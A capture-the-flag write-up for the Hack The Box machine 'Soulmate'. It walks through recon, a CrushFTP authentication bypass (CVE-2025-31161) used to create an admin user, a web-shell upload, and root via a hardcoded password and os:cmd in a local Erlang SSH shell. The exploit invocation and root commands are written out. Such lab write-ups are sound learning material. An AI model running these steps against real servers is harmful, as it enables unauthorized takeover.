Post

HTB: Soulmate [Easy]

HTB: Soulmate [Easy]

Exploited a CrushFTP auth-bypass to create an admin user, uploaded a web shell to get www-data, discovered credentials in an Erlang start script, SSHed to the local Erlang daemon on 127.0.0.1:2222, dropped into an Erlang shell and used os:cmd(…) to run commands as root and retrieve the flag.

Tools

  • nmap
  • dirsearch
  • gobuster
  • searchsploit

Recon

nmap scan result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/Desktop/HTB/Soulmate]
└─$ cat nmap-scan.txt 
# Nmap 7.95 scan initiated Sun Oct 12 19:10:59 2025 as: /usr/lib/nmap/nmap --privileged -sCV -oN nmap-scan.txt -p- -vv 10.10.11.86
Nmap scan report for soulmate.htb (10.10.11.86)
Host is up, received echo-reply ttl 63 (0.011s latency).
Scanned at 2025-10-12 19:10:59 +08 for 19s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Soulmate - Find Your Perfect Match
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Oct 12 19:11:18 2025 -- 1 IP address (1 host up) scanned in 19.45 seconds

In the first reconnaissance phase we searched for known exploits using searchsploit based on the Nmap results, but found nothing useful.

Because there were no valid credentials or obvious SSH exploits, we focused on the web service on port 80.

Then we did manual checks of the site. Meanwhile we run dirsearch for any unusual directories but nothing much after further review. Here is the scan results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(kali㉿kali)-[~/Desktop/HTB/Soulmate]
└─$ dirsearch -u soulmate.htb                                                                                                    
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                                                                                 
 (_||| _) (/_(_|| (_| )                                                                                                          
                                                                                                                                 
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Desktop/HTB/Soulmate/reports/_soulmate.htb/_25-10-12_21-27-59.txt

Target: http://soulmate.htb/

[21:27:59] Starting:                                                                                                             
[21:28:07] 301 -  178B  - /assets  ->  http://soulmate.htb/assets/          
[21:28:07] 403 -  564B  - /assets/                                          
[21:28:10] 302 -    0B  - /dashboard.php  ->  /login                        
[21:28:14] 200 -    8KB - /login.php                                        
[21:28:14] 302 -    0B  - /logout.php  ->  login.php                        
[21:28:19] 302 -    0B  - /profile.php  ->  /login                          
[21:28:19] 200 -   11KB - /register.php                                     
                                                                             
Task Completed                                                                                                                   

Here is the screenshots of the web application, And found register.php and login.php. We required to register as new user and logged in to learn it further functionalities.

image

image

image

Initial Enumeration

from the Contact Us section we find that the email used was hello@soulmate.htb. So enumerate the subdomain.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
┌──(kali㉿kali)-[~/Desktop/HTB/Soulmate]
└─$ gobuster vhost -u soulmate.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://soulmate.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:                gobuster/3.8
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
ftp.soulmate.htb Status: 302 [Size: 0] [--> /WebInterface/login.html]
Progress: 4989 / 4989 (100.00%)
===============================================================
Finished
===============================================================

It redirected us to http://ftp.soulmate.htb/WebInterface/login.html

Meanwhile i was doing manual checks, again we got nothing from our directory enumerate tools. I did tried some of those common creds for CrushFTP, but still nothing.

Then, we found CrushFTP version from the source code (I wasn’t actually sure is this the correct version for this web) but still look for CrushFTP Versions 11.W.657 through duckduckgo search engine cause normally google wont return exploits as results.

image

Auth Bypass

CVE-2025-31161

It straight forward gave us known CVE’s for CrushFTP version < 10.8.4, < 11.3.1

image

Look for its POC for a review, then locate it from my own kali.

image

image

Actually i spent quite some time here because the tools is quite broken.

Ran the same commands for 2 times but one not working and suddenly the next time, it work just fine..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(kali㉿kali)-[~/Desktop/HTB/Soulmate]
└─$ python 52295.py --target ftp.soulmate.htb --port 80 --exploit --target-user root --new-user wekwek --password wekwek123!       

[36m
  / ____/______  _______/ /_  / ____/ /_____
 / /   / ___/ / / / ___/ __ \/ /_  / __/ __ \
/ /___/ /  / /_/ (__  ) / / / __/ / /_/ /_/ /
\____/_/   \__,_/____/_/ /_/_/    \__/ .___/
                                    /_/
[32mCVE-2025-31161 Exploit 2.0.0[33m | [36m Developer @ibrahimsql
[0m

Exploiting 1 targets with 10 threads...
[+] Successfully created user wekwek on ftp.soulmate.htb
Exploiting targets... ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100% (1/1) 0:00:00

Exploitation complete! Successfully exploited 1/1 targets.

Exploited Targets:
→ ftp.soulmate.htb

Summary:
Total targets: 1
Vulnerable targets: 0
Exploited targets: 1

Admin Panel Logged In

Logged in with the new username and password -> Admin -> User manager -> ben -> Generate Random Password (change to any password you prefer) -> Use this -> Ok -> Save

image

image

image

Relogged in as ben with password (because from ben user’s stuff he’s the one had full read and write access for http://soulmate.htb)

image

Shell as www-data

Then we can upload our revshell inside the folder

image

image

and a little shell upgrade

1
2
3
4
script /dev/null -c bash
# CTRL + Z
stty raw -echo;fg;
export TERM=xterm

image

I ran the usual local-privilege checks and noticed an unusual root process (an Erlang escript that starts an Erlang-based SSH daemon).

Script that exposes erlang ssh

The script runs as root and exposes an SSH-like interface.

image

It contains a hardcoded ben password, which is a direct local privilege-escalation vector.

Anyone able to reach the localhost SSH (or execute ssh ben@127.0.0.1 from a local account) can authenticate, drop into the Erlang shell, and execute commands as root.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
www-data@soulmate:/$ cat /usr/local/lib/erlang_login/start.escript
#!/usr/bin/env escript
%%! -sname ssh_runner

main(_) ->
    application:start(asn1),
    application:start(crypto),
    application:start(public_key),
    application:start(ssh),

    io:format("Starting SSH daemon with logging...~n"),

    case ssh:daemon(2222, [
        {ip, {127,0,0,1}},
        {system_dir, "/etc/ssh"},

        {user_dir_fun, fun(User) ->
            Dir = filename:join("/home", User),
            io:format("Resolving user_dir for ~p: ~s/.ssh~n", [User, Dir]),
            filename:join(Dir, ".ssh")
        end},

        {connectfun, fun(User, PeerAddr, Method) ->
            io:format("Auth success for user: ~p from ~p via ~p~n",
                      [User, PeerAddr, Method]),
            true
        end},

        {failfun, fun(User, PeerAddr, Reason) ->
            io:format("Auth failed for user: ~p from ~p, reason: ~p~n",
                      [User, PeerAddr, Reason]),
            true
        end},

        {auth_methods, "publickey,password"},

        {user_passwords, [{"ben", "HouseH0ldings998"}]},
        {idle_time, infinity},
        {max_channels, 10},
        {max_sessions, 10},
        {parallel_login, true}
    ]) of
        {ok, _Pid} ->
            io:format("SSH daemon running on port 2222. Press Ctrl+C to exit.~n");
        {error, Reason} ->
            io:format("Failed to start SSH daemon: ~p~n", [Reason])
    end,

    receive
        stop -> ok
    end.
www-data@soulmate:/$ 

Shell as ben

image

1
2
ben@soulmate:/$ cat /home/ben/user.txt 
4c0de71d51aa06b345df3723fb74xxxx

Erlang local SSH Shell confirmation

We found an SSH service listening on 127.0.0.1:2222. Connecting showed an Erlang SSH shell.

Logging in gave an Erlang prompt. From that prompt we ran id and confirmed that we had root access

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ben@soulmate:/$ ss -tuln
Netid State  Recv-Q Send-Q Local Address:Port  Peer Address:PortProcess
udp   UNCONN 0      0      127.0.0.53%lo:53         0.0.0.0:*          
tcp   LISTEN 0      128        127.0.0.1:39503      0.0.0.0:*          
tcp   LISTEN 0      4096       127.0.0.1:9090       0.0.0.0:*          
tcp   LISTEN 0      5          127.0.0.1:2222       0.0.0.0:*          
tcp   LISTEN 0      4096   127.0.0.53%lo:53         0.0.0.0:*          
tcp   LISTEN 0      4096       127.0.0.1:8443       0.0.0.0:*          
tcp   LISTEN 0      4096       127.0.0.1:4369       0.0.0.0:*          
tcp   LISTEN 0      4096       127.0.0.1:8080       0.0.0.0:*          
tcp   LISTEN 0      4096       127.0.0.1:36839      0.0.0.0:*          
tcp   LISTEN 0      128          0.0.0.0:22         0.0.0.0:*          
tcp   LISTEN 0      511          0.0.0.0:80         0.0.0.0:*          
tcp   LISTEN 0      4096           [::1]:4369          [::]:*          
tcp   LISTEN 0      128             [::]:22            [::]:*          
tcp   LISTEN 0      511             [::]:80            [::]:*          

ben@soulmate:/$ nc 127.0.0.1 2222
SSH-2.0-Erlang/5.2.9
^C

Shell as root

Connecting to localhost port 2222 (Erlang SSH Shell)

1
2
3
4
5
6
7
8
ben@soulmate:/$ ssh ben@127.0.0.1 -p 2222
ben@127.0.0.1's password: 
Eshell V15.2.5 (press Ctrl+G to abort, type help(). for help)
(ssh_runner@soulmate)1> os:cmd("id").
"uid=0(root) gid=0(root) groups=0(root)\n"
(ssh_runner@soulmate)3> os:cmd("cat /root/root.txt").
"851506a3c8a1cedc8f340d21xxxxxxx7\n"
(ssh_runner@soulmate)4> 

Badge

This post is licensed under CC BY 4.0 by the author.